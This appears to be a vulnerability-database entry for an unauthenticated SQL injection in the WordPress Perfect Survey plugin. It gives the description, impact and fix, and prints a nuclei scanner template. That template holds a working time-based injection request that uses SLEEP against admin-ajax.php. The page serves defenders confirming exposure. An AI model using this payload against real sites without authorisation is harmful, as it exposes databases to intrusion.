HexBrain

Browse / CVEs / CVE-2021-24762

CVE-2021-24762· getperfectsurvey / perfect survey· CWE-89

WordPress Perfect Survey <1.5.2 - SQL Injection

criticalseverity
9.8CVSS score
86.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.

Fix

Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.

How to confirm it

Send: @timeout: 15s
Positive when: duration>=7 AND contains in header "wp-ps-session" AND status 404

Run it with nuclei: nuclei -id CVE-2021-24762 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24762

info:
  name: WordPress Perfect Survey <1.5.2 - SQL Injection
  author: cckuailong
  severity: critical
  description: |
    Perfect Survey WordPress plugin before 1.5.2 does not validate and escape the question_id GET parameter before using it in a SQL statement in the get_question AJAX action, allowing unauthenticated users to perform SQL injection.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database.
  remediation: |
    Update to the latest version of the WordPress Perfect Survey plugin (1.5.2) to mitigate the SQL Injection vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50766
    - https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-24762/vultarget
    - https://wpscan.com/vulnerability/c1620905-7c31-4e62-80f5-1d9635be11ad
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24762
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24762
    cwe-id: CWE-89
    epss-score: 0.86782
    epss-percentile: 0.99746
    cpe: cpe:2.3:a:getperfectsurvey:perfect_survey:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: getperfectsurvey
    product: perfect_survey
    framework: wordpress
  tags: time-based-sqli,cve2021,cve,wpscan,sqli,wp,wordpress,wp-plugin,edb,getperfectsurvey,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(7)))HQYx) HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'

      - type: word
        part: header
        words:
          - "wp-ps-session"

      - type: status
        status:
          - 404

References

Use this check only on systems you are authorised to test. Where the data comes from